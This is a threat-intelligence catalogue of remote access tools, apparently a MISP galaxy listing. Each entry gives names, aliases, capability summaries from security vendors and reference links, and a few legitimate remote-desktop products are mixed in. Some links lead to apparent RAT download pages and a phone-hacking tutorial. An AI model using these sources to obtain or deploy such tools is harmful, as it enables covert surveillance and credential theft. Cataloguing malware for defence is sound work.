Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google’s Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.
Links |
Arabian-Attacker RAT
Links |
Androrat
Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.
Links |
https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/ |
Schwarze-Sonne-RAT
Schwarze-Sonne-RAT is also known as:
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SS-RAT
-
Schwarze Sonne
Links |
Cyber Eye RAT
Links |
RWX RAT
Links |
Spynet
Spy-Net is a software that allow you to control any computer in world using Windows Operating System.He is back using new functions and good options to give you full control of your remote computer.Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions
Links |
CTOS
Links |
Virus RAT
Links |
Atelier Web Remote Commander
Links |
drat
A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forev
Links |
MoSucker
MoSucker is a powerful backdoor - hacker’s remote access tool.
Links |
Theef
Links |
http://www.grayhatforum.org/thread-4373-post-5213.html#pid5213 |
http://www.spy-emergency.com/research/T/Theef_Download_Creator.html |
ProRat
ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled).
Links |
Setro
Links |
https://sites.google.com/site/greymecompany/setro-rat-project |
Indetectables RAT
Links |
http://www.connect-trojan.net/2015/03/indetectables-rat-v.0.5-beta.html |
Luminosity Link
Links |
Orcus
Links |
Blizzard
Links |
http://www.connect-trojan.net/2014/10/blizzard-rat-lite-v1.3.1.html |
Kazybot
Links |
BX
Links |
Sky Wyder
Links |
DarkTrack
Links |
xRAT
Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).
Links |
Biodox
Links |
http://sakhackingarticles.blogspot.lu/2014/08/biodox-rat.html |
Offence
Offense RAT is a free renote administration tool made in Delphi 9.
Links |
Apocalypse
Links |
JCage
Links |
Nuclear RAT
Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003).
Links |
http://www.nuclearwintercrew.com/Products-View/21/Nuclear_RAT_2.1.0/ |
Xanity
Links |
Xpert
Links |
Kiler RAT
This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods . However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.
Kiler RAT is also known as:
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Njw0rm
Links |
Lost Door
Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It’s promoted on social media sites like YouTube and Facebook. Its maker, “OussamiO,” even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxxp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks.
Lost Door is also known as:
-
LostDoor
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/lost-door-rat |
Loki RAT
Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial.
Links |
MLRat
Links |
SpyCronic
Links |
http://perfect-conexao.blogspot.lu/2014/09/spycronic-1021.html |
http://www.connect-trojan.net/2013/09/spycronic-v1.02.1.html |
Pupy
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
Links |
Nova
Nova is a proof of concept demonstrating screen sharing over UDP hole punching.
Links |
BD Y3K RAT
BD Y3K RAT is also known as:
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Back Door Y3K RAT
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Y3k
Turkojan
Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.
Links |
TINY
TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.
Links |
SharK
sharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With sharK you will be able to administrate every PC (using Windows OS) remotely.
SharK is also known as:
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SHARK
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Shark
Snowdoor
Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.
Snowdoor is also known as:
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Backdoor.Blizzard
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Backdoor.Fxdoor
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Backdoor.Snowdoor
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Backdoor:Win32/Snowdoor
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2003-022018-5040-99 |
Paradox
Links |
NET-MONITOR PRO
Net Monitor for Employees lets you see what everyone’s doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier.
Links |
DameWare Mini Remote Control
Affordable remote control software for all your customer support and help desk needs.
DameWare Mini Remote Control is also known as:
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dameware
Links |
Remote Utilities
Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an "Internet ID." You can control a total of 10 PCs with Remote Utilities.
Links |
Ammyy Admin
Ammyy Admin is a completely portable remote access program that’s extremely simple to setup. It works by connecting one computer to another via an ID supplied by the program.
Ammyy Admin is also known as:
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Ammyy
Links |
Ultra VNC
UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.
Links |
AeroAdmin
AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.
Links |
Windows Remote Desktop
Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.
RemotePC
RemotePC, for good or bad, is a more simple free remote desktop program. You’re only allowed one connection (unless you upgrade) but for many of you, that’ll be just fine.
Links |
Seecreen
Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that’s absolutely perfect for on-demand, instant support.
Seecreen is also known as:
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Firnass
Links |
Chrome Remote Desktop
Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.
Links |
AnyDesk
AnyDesk is a remote desktop program that you can run portably or install like a regular program.
Links |
LiteManager
LiteManager is another remote access program, and it’s strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.
Links |
Comodo Unite
Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.
Links |
https://www.comodo.com/home/download/download.php?prod=comodounite |
ShowMyPC
ShowMyPC is a portable and free remote access program that’s nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.
Links |
join.me
join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.
Links |
DesktopNow
DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.
Links |
BeamYourScreen
Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter’s screen.
Links |
Bandook RAT
Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features
Links |
http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35NEW_/[http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35NEW_/] |
Cerberus RAT
Links |
http://www.hacktohell.org/2011/05/setting-up-cerberus-ratremote.html |
Snoopy
Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet.
Links |
P. Storrie RAT
-
Storrie RAT is also known as:
-
P.Storrie RAT
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NetDevil
Backdoor.NetDevil allows a hacker to remotely control an infected computer.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2002-021310-3452-99 |
NanoCore
In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.
Links |
https://www.digitrustgroup.com/nanocore-not-your-average-rat/ |
Cobian RAT
The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family
Links |
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat |
Netsupport Manager
NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.
Links |
Net Devil
Net Devil is also known as:
-
NetDevil
Links |
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20702 |
A4Zeta
Links |
Greek Hackers RAT
Links |
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0 |
MRA RAT
Links |
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0 |
Sparta RAT
Links |
http://www.connect-trojan.net/2015/09/sparta-rat-1.2-by-azooz-ejram.html |
Tequila Bandita
Links |
http://www.connect-trojan.net/2013/07/tequila-bandita-1.3b2.html |
Toquito Bandito
Links |
http://www.megasecurity.org/trojans/t/toquitobandito/Toquitobandito_all.html |
MofoTro
MofoTro is a new rat coded by Cool_mofo_2.
ComRAT
ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.
Links |
4H RAT
4H RAT is malware that has been used by Putter Panda since at least 2007.
Links |
Darknet RAT
Darknet RAT is also known as:
-
Dark NET RAT
Links |
http://www.connect-trojan.net/2015/06/dark-net-rat-v.0.3.9.0.html |
PlugX
PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008.
PlugX is also known as:
-
Korplug
Links |
https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/ |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX |
UNITEDRAKE
The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden.
Links |
http://thehackernews.com/2017/09/shadowbrokers-unitedrake-hacking.html |
https://www.itnews.com.au/news/shadowbrokers-release-unitedrake-nsa-malware-472771 |
MegaTrojan
Written in Visual Basic
Links |
http://www.megasecurity.org/trojans/m/mega/Megatrojan1.0.html |
GOlden Phoenix
Links |
http://www.connect-trojan.net/2014/02/golden-phoenix-rat-0.2.html |
GraphicBooting
Links |
http://www.connect-trojan.net/2014/10/graphicbooting-rat-v0.1-beta.html?m=0 |
SharpEye
Links |
http://www.connect-trojan.net/2014/10/sharpeye-rat-1.0-beta-1.html |
http://www.connect-trojan.net/2014/02/sharpeye-rat-1.0-beta-2.html |
Archelaus Beta
Links |
http://www.connect-trojan.net/2014/02/archelaus-rat-beta.html |
BlackHole
C# RAT (Remote Adminitration Tool) - Educational purposes only
Links |
Vanguard
Links |
http://ktwox7.blogspot.lu/2010/12/vanguard-remote-administration.html |
Ahtapod
Links |
FINSPY
Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.
Links |
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html |
Seed RAT
Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger.
Links |
TorCT PHP RAT
Links |
Syla
Links |
Cobalt Strike
Cobalt Strike is software for Adversary Simulations and Red Team Operations.
Links |
Sakula
The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components.
Sakula is also known as:
-
Sakurel
-
VIPER
Links |
hcdLoader
hcdLoader is a remote access tool (RAT) that has been used by APT18.
Links |
Crimson
Links |
http://www.connect-trojan.net/2015/01/crimson-rat-3.0.0.html |
KjW0rm
Links |
3PARA RAT
Links |
Konni
KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look.
Konni is also known as:
-
KONNI
Xsser
Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user’s device and executes remote commands as directed by its command-and-control (C2) server.
Xsser is also known as:
-
mRAT
Links |
https://blogs.akamai.com/2014/12/ios-and-android-os-targeted-by-man-in-the-middle-attacks.html |
GovRAT
GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years.
Links |
http://securityaffairs.co/wordpress/41714/cyber-crime/govrat-platform.html |
http://securityaffairs.co/wordpress/51202/cyber-crime/govrat-2-0-attacks.html |
Rottie3
Links |
Hi-Zor
Links |
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat |
Quaverse
Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim’s computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.
Quaverse is also known as:
-
QRAT
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/ |
Cardinal
Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it.
Links |
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/ |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/cardinal |
Jfect
Links |
Trochilus
Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed "the Seven Pointed Dagger," managed by another group, "Group 27," who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan’s functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.
Links |
http://securityaffairs.co/wordpress/43889/cyber-crime/new-rat-trochilus.html |
Matryoshka
Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.
Links |
https://www.alienvault.com/blogs/security-essentials/matryoshka-malware-from-copykittens-group |
Mangit
First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan’s infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazillian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim’s browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim’s browsers and push pop-ups to the victim asking for the verification code they just received.
Links |
http://virusguides.com/newly-discovered-mangit-malware-offers-banking-trojan-service/ |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/mangit |
LeGeNd
Links |
http://www.connect-trojan.net/2016/08/legend-rat-v1.3-by-ahmed-ibrahim.html |
http://www.connect-trojan.net/2016/11/legend-rat-v1.9-by-ahmed-ibrahim.html |
Revenge-RAT
Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away.Revenge, which was written in Visual Basic, also didn’t feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.
Links |
vjw0rm 0.1
Links |
https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en |
rokrat
ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco’s Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, "Request Help" and attached malicious HWP filename, "I’m a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.
rokrat is also known as:
-
ROKRAT
Links |
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html |
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html |
Qarallax
Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).
Qarallax is also known as:
-
qrat
Links |
https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/ |
MoonWind
MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.
Links |
Remcos
Remcos is another RAT (Remote Administration Tool) that was first discovered being sold in hacking forums in the second half of 2016. Since then, it has been updated with more features, and just recently, we’ve seen its payload being distributed in the wild for the first time.
Links |
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2 |
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html |
Client Maximus
The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims’ web navigation and interrupt online banking session at will. After taking over a victim’s banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.
Links |
TheFat RAT
Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most…
Links |
RedLeaves
Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.
Links |
http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html |
Rurktar
Dubbed Rurktar, the tool hasn’t had all of its functionality implemented yet, but G DATA says “it is relatively safe to say [it] is intended for use in targeted spying operations.” The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.
Links |
http://www.securityweek.com/rurktar-malware-espionage-tool-development |
RATAttack
RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim’s machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot’s Telegram token into the trojan’s configuration file. When a system is infected with RATAttack, it connects to the bot’s Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan’s code was available on GitHub then was taken down by the author on April 19, 2017.
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ratattack |
KhRAT
So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.
Links |
RevCode
Links |
Socket23
SOCKET23 was launched from his web site and immedi- ately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’
Links |
https://www.virusbulletin.com/uploads/pdf/magazine/1999/199908.pdf |
MacSpy
Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the "most sophisticated Mac spyware ever", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn’t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.
Links |
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service |
DNSMessenger
Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.
Links |
PentagonRAT
Links |
NewCore
NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCortr backdoor trojans.
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/newcore |
htpRAT
On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary’s arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —’file download’ or ‘file upload,’ for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim’s network, simply by wrapping commands.
Links |
FALLCHILL
According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.
Links |
UBoatRAT
Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry Distributes malware through Google Drive Obtains C2 address from GitHub Uses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.
Links |
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ |
CrossRat
The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool…which is able to target Windows, OSX, and Linux.”
Links |
TSCookieRAT
TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.
Links |
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html |
Coldroot
Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, "to Play with Mac users," and "give Mac it’s rights in this [the RAT] field," but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.
Links |
Comnie
Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.
Links |
GravityRAT
GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We’ve seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.
Links |
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html |
ARS VBS Loader
ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim’s machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious "loaders".
Links |
RadRAT
RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.
Links |
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/ |
FlawedAmmyy
FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.
Links |
Spymaster Pro
Monitoring Software
Links |
https://spycellphone.mobi/reviews/spymaster-pro-real-review-with-screenshots |
NavRAT
Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email
Links |
joanap
Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.
Links |
Sisfader
Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.
Links |
SocketPlayer
The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.
Hallaj PRO RAT
RAT
Links |
https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/ |
NukeSped
This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publically available if you don’t follow the malicious hacker’s commands.
Links |
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojNukeSped-Z.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojNukeSped-Z.aspx] |
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/NukeSped |
Sector
Activity sectors.
Sector is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
Stealer
A list of malware stealer..
Stealer is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
raw-data
Nocturnal Stealer
